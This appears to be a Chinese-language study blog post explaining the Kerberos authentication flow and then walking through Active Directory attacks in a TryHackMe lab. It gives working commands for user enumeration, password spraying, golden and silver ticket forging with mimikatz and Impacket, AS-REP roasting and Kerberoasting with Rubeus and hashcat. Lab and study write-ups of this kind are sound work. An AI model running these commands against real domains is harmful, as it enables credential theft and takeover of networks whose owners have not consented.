这一篇文章是我对自己学习kerberos过程中的一点总结,有些错误还请指出
Kerberos 是一种网络身份验证协议。它旨在通过使用密钥加密为客户端/服务器应用程序提供强大的身份验证。
他是一个无密码基于ticket的认证方式。
整个kerberos分为三个部分:
KDC由三个部分组成
简易的认证过程如下
Client发送的请求包内容包括:
Authenticator是预身份验证的部分
如果开启了预身份验证,那么AS就会从活动目录数据库中取出该用户的密钥,然后用该密钥对请求包中预身份验证部分(Authenticator)进行解密,如果解密成功,并且解密出来的时间戳在一定范围内,则证明请求者提供的用户密钥正确。【如果没有开启身份验证,就不会有这段过程,这也是AS_REP Roasting攻击的前提】
在AS成功认证之后,就会给客户端发送AS_REP包,AS_REP数据包的主要内容包括:
TGT是用krbtgt的密码哈希进行加密的,Logon Session Key是由用户的密码哈希进行加密的【krbtgt是KDC的服务账户】,TGT代表了是哪个用户在进行请求服务的操作
其中 TGT里包含
总的来说,在经过这个过程后,AS会给Client返回一个包含PAC信息的TGT,TGT用来向TGS申请相关服务的ST(Server ticket)
客户端在收到AS_REP后会在本地缓存TGT和Logon Session Key,然后用TGT向TGS购买相应服务的ST
TGS_REQ数据包的主要内容包括
在TGS收到TGS_REQ之后,会进行如下操作
首先,使用krbtgt密码哈希值对TGT的加密部分进行解密。得到Logon Session Key和PAC等信息,解密成功则说明是KDC颁发的
然后,验证PAC的签名,签名正确则证明PAC未经过篡改【PAC有两个数字签名:PAC_SERVER_CHECKSUM和PAC_PRIVSVR_CHECKSUM;PAC_SERVER_CHECKSUM使用服务密钥进行签名,PAC_PRIVSVR_CHECKSUM使用KDC密钥进行签名】
最后,使用得到的Logon Session Key解密Authenticator得到时间戳等信息,如果解密成功且时间在有效范围内,则验证了会话的安全性
进行如上验证之后,TGS_REP就会返回包含如下内容的数据包:
ST的明文部分包含版本号、域名、请求的服务名
ST的加密部分(使用服务密钥加密)包括:
ST里和ST外的Service Session Key都是用Logon Session Key进行加密的,用于下一阶段的认证密钥
在客户端收到TGS_REP后,从中抽取ST和Service Session Key并准备开始申请访问服务
AP_REQ数据包中包含的内容:
这一步是可选的,当客户端希望验证提供服务的服务端时(即AP_REQ请求的mutual-required选项为True),服务端就返回AP_REP消息。
服务端收到客户端发来的AP_REQ之后,通过服务密钥解密ST得到Service Session Key和PAC等信息,然后用Service Session Key解密Authenticator得到时间戳。如果解密成功且时间戳在有效范围内,则验证了客户端的身份。
验证了客户端身份后,服务端从ST中取出PAC中代表用户身份权限信息(主要通过User RID和Group RID)的数据,然后与请求的服务ACL做对比,生成相应的访问令牌。
同时,服务端会检测AP_REQ请求的mutual-required选项是否为True,如果是,则说明客户端想验证提供服务的服务端的身份。此时,服务端会用Service Session Key加密的时间戳作为Authenticator,在AP_REP包中发送给客户端进行验证。如果为False,服务端会根据访问令牌的权限决定是否返回相应的服务给客户端
因为在AS_REQ过程中是使用用户的密码对时间戳进行加密的,所以如果获取了一个用户的密码hash,那么就可以伪造成这个用户来对服务进行访问
但是攻击手法我在网上没有搜到
在AS_REQ包中的cname字段的值代表用户名,这个值存在与否,返回的包是不一样的。所以可以用来枚举域用户名
枚举工具:
下面在Try hack me的环境下进行实践(自己搭环境太麻烦了 XD)
要先将域名和ip添加到/etc/host里,进行域名解析
字典是关键
1 | ┌──(kali㉿kali)-[~/Desktop/tools/for kerberos/kerbrute] |
使用python通过Kerberos Pre-Authentication快速暴力破解并枚举有效的Active Directory账户
有TCP和UDP两种模式
1 | EnumADUser.py <domainControlerAddr> <domainName> <mode> |
1 | python2 EnumADUser.py 10.10.65.205 CONTROLLER.local dict/users.txt tcp |
auxiliary/gather/kerberos_enumusers
模块
设置相应的参数
1 | msf6 auxiliary(gather/kerberos_enumusers) > set DOMAIN CONTROLLER.local |
还会检测是否开启预身份验证而且还给了hash,良心!!!
在AS_REQ过程中,如果用户名存在,密码正确与否,返回的包也是不一样的,所以可以使用单一的密码,对用户字典里的用户进行爆破,就是密码喷洒
工具:
使用以下命令,对指定的域用用户字典进行爆破,找出密码为P@ss1234的
1 | ./kerbrute passwordspray --dc CONTROLLER.local -d CONTROLLER.local ./dict/users.txt P@ss1234 |
使用以下命令,爆破用户的密码
1 | ./kerbrute bruteuser --dc CONTROLLER.local -d CONTROLLER.local ./dict/password.txt administrator |
在tcp模式下可以对明文密码和Hash密码进行喷洒攻击
1 | ADPwdSpray.py <domainControlerAddr> <domainName> <file> <passwordtype> <data> <mode> |
1 | python2 10.10.65.205 CONTROLLER.local dict/users.txt clearpassword P@ss1234 tcp |
要在域内的机器执行,原理是利用LDAP从域中导出用户列表,去除被锁定的用户,再用指定密码进行喷洒
1 | Import-Module .\DomainPasswordSpray.ps1 |
所谓黄金票据,就是利用krbtgt的密码哈希值来伪造一个TGT,可以用来伪造任意用户的TGT,甚至这个用户不存在!
生成黄金票据的条件如下
可以是Mimikatz来转储krbtgt的密码哈希值,需要在域控上使用
1 | mimikatz.exe "Log" "Privilege::Debug" "lsadump::lsa /patch" "exit" |
然后就可以获得krbtgt的NTLM-Hash和domain SID
也可以使用
1 | mimikatz.exe "Log" "Privilege::Debug" "lsadump::lsa /inject /name:krbtgt" "exit" |
来转储指定用户的哈希值
然后在Mimikatz执行以下命令来创建黄金票据
1 | Kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-432953485-3795405108-1502158860 /krbtgt:72cd714611b64cd4d5550cd2759db3f6 /ticket:ticket.kirbi [/id:对应用户的rid] |
在创建完票据后,进行票据传递,从而获得伪造用户的权限
1 | Kerberos::ptt ticket.kirbi |
票据传递之后,就是在建立IPC连接后的攻击方式了,而IPC能够访问的机器取决于伪造用户的权限高低
psexec
1 | PsExec.exe \\192.168.60.1 cmd.exe |
WMIEXEC.VBS
1 | cscript wmiexec.vbs /shell 192.168.60.1 |
AS_REP Roasting是一种对用户账户进行离线爆破的方式
需要关闭预身份验证,而此选项又是默认开启的,所以有一定的限制
默认开启的预身份验证是会记录密码错误次数来防止爆破的
关闭预身份验证后,在进行AS_REQ之后的时候,KDC不会进行任何验证就将TGT和用该用户Hash加密的Login Session Key返回
由于AS_REP的数据包中Login Session Key的是由用户Hash进行加密的
因此,可以对获取到的用户Hash加密的Login Session Key进行离线爆破,得到对应用户的明文密码
【爆破的原理就是将明文进行hash计算,然后再对Login Session Key进行解密,如果成功,则得到明文密码】
AS_REP Roasting攻击的前提条件:
工具:
执行以下命令,Rebeus会自动搜素域内关闭了预身份验证的用户,并以该用户身份发起AS_REQ,并获得AS_REP,将用户Hash加密的Login Session Key转储为hashcat可以进行爆破的格式,保存为hash.txt
1 | Rubeus.exe asreproast /format:hashcat /outfile:hash.txt |
然后使用hashcat进行爆破
1 | hashcat -a 0 -m 18200 1.txt rockyou.txt -o 2.txt |
如果字典够牛逼,就可以获得那些关闭了预身份验证的用户的密码
原理跟Rebeus一样,要先导入ASREPRoast.ps1再执行
会返回关闭了预身份验证的用户名、DN以及用户Hash加密的Login Session Key
最后使用select过滤出Hash
1 | Import-Module .\ASREPRoast.ps1 |
对于非域内的主机,可以使用Adfind执行以下命令过滤出关闭了预身份验证的用户
需要拥有一个有效的域账户和密码
1 | AdFind.exe -h 10.10.17.251 -u Administrator -up P@$$W0rd -dn -f "useraccountcontrol:1.2.840.113556.1.4.803:=4194304" |
然后使用impacket的GetBPUser.py把上面过滤出的域账户写入user.txt文件,运行如下命令获取指定用户hash加密的Login Session Key,并以hashcat可以爆破的格式打印出来
1 | python GetNPUsers.py -dc-ip 10.10.17.251 -usersfile GetNPUser.txt -format hashcat controller.local/ |
然后用hashcat进行爆破就行
Kerberoasting攻击发生在Kerberos的TGS_REP阶段,KDC的TGS返回一个由服务Hash加密的ST给客户端。
由于ST是用服务的Hash进行加密的,因此客户端拿到该ST后可以用于本地离线爆破。如果字典够牛逼,那么就很有可能爆破出SPN链接用户的明文密码
如果该服务在域内被配置为高权限运行,那么攻击者可能接管整个域
其核心在于,攻击者和KDC协商ST加密的时候,协商的是使用RC4_HMAC_MD5加密算法,而该加密算法容易被破解,因为攻击者可以在本地进行离线爆破
Kerberoasting的前提:服务SPN必须注册在域用户账户下,因为机器账户的密码是随机生成的,基本爆破不了
攻击过程:
攻击流程:
默认情况下,域内会有个注册在krbtgt下的SPN kadmin/changepw,但是该SPN对于kerberoasting是没有用的,因为krbtgt的密码是随机生成的,几乎不可能爆破
所以需要使用以下工具,找到其他的SPN
1.RiskySPN
RiskySPNs 是一组 PowerShell 脚本,专注于检测和滥用与 SPN(服务主体名称)关联的帐户。该模块可以帮助蓝队识别有潜在风险的 SPN,并帮助红队利用 Kerberos 和 Active Directory 提升权限
可以用来查找当前域内注册在用户下的可能包含弱密码的SPN
1 | Import-Module .\RiskySPNs.psm1 |
他还可以直接请求ST
为 SPN 请求 Kerberos TGS
1 | Get-TGSCipher -SPN "MSSQLSvc/prodDB.company.com:1433" |
或者
1 | Find-PotentiallyCrackableAccounts -Stealth -GetSPNs | Get-TGSCipher |
有趣的东西:),这个应该是获取ST里的服务HASH
1 | Find-PotentiallyCrackableAccounts -Sensitive -Stealth -GetSPNs | Get-TGSCipher -Format "Hashcat" | Out-File crack.txt |
2.GetUserSPNs
是kerberoast里的一个查询注册于域内用户下的SPN的脚本
有vs和powershell两种,可以查询域内所以注册在用户下的SPN,包括注册于krbtgt下的kadmin/changepw
1 | #vbs |
是Powersploit中Recon目录下的powershell脚本文件
可以查询域内所以注册在用户下的SPN,包括krbtgt用户,并返回详细信息
1 | Import-Muole .\PowerView.ps1 |
1.Impacket请求
GeyUserSPNs.py
可以用来请求注册于用户下的所有SPN的服务票据,也可以请求注册于指定用户下的SPN的服务器票据
1 | #请求注册于用户下的所有SPN服务票据,并保存为hashcat可以破解的格式 |
2.Rebeus请求
Rebeus支持对所有用户或特定用户执行Kerberoasting操作,原理是先用LDAP查询域内所有注册在域用户下的SPN(除了kadmin/changpw),再通过发送TGS包,直接输出能使用John或hashcat爆破的hash
1 | #请求注册于用户下的所有SPN服务票据,并保存为hashcat可以破解的格式 |
3.mimikatz请求
请求指定SPN的服务票据,请求的ST将保存在内存中
1 | kerberos::ask /target:SQLSERVER/win7.xie.com:1443/MSSQL |
因为有的工具请求的票据是保存在内存中的,所以需要将其导出,才能进行爆破
1.查看内存中的票据
1 | #cmd命令行 |
2.使用mimikatz导出票据
得到.kirbi格式的文件
1 | mimikatz.exe "kerberos::list /export" exit |
3.使用Empire导出票据
Empire下的Invoke-Kerberoast.ps1可以导出内存中的票据,并以hashcat或者john的格式保存
1 | Import-Module .\Invoke-Kerberoast.ps1 |
1.kerberoast
Kerberoast下的tgsrepcrack.py,可以离线爆破.kirbi格式的票据
1 | python2 tgsrepcrack.py pass.txt <xxx.kribi> |
2.tgscrack
先将.kribi格式的文件转换成这个工具可爆破的格式,再使用这个go脚本进行爆破
1 | python2 extractServiceTicketParts.py xxxx.kribi > hash.txt |
3.hashcat
针对Rebeus和Impacket请求的票据
1 | hashcat -m 13100 hash.txt pass.txt --force -o |
在TGS_REP阶段返回的ST中的authorization-data是使用服务密钥加密的,而authorization-data里存放着代表用户的PAC,并且这个阶段的PAC的PAC_SERVER_CHECKSUM签名的密钥也是服务密钥(该阶段PAC的PAC_PRIVSVR_CHECKSUM签名的密钥是krbtgt密钥,此时客户端不能伪造PAC_SERVER_CHECKSUM签名)。但是由于 PAC_SERVER_CHECKSUM签名是可选的且默认不开启,所以可以在不伪造PAC_SERVER_CHECKSUM签名的情况下进行攻击
就是在PAC没有配置PAC_SERVER_CHECKSUM签名的时候,只要获得指定服务的密钥,就能伪造高权限的用户来使用这个ST,以高权限的身份访问指定服务
创建白银票据的条件:
和黄金票据不同的是,白银票据只能访问指定服务,且白银票据的生成不与KDC进行通信,所以不会在KDC上留下日志,只会在目标服务器上留下日志。而黄金票据会在KDC上留下日志
使用impacket进行攻击
使用Impacket下的ticketer.py脚本来离线生成白银票据,然后将票据导入,即可以使用secretsdump.py、smbexec.py进行利用
需要在hosts文件里添加服务对应的ip
1 | #生成白银票据 |
使用mimikatz进行攻击
使用mimikatz进行攻击的时候,利用的机器可以是域内的普通机器,也可以不是域内的机器
当利用的机器不在域中时,需要将DNS服务器设置为域控
1 | mimikatz.exe |
使用cs进行攻击
不做赘述,他自带有图形化操作界面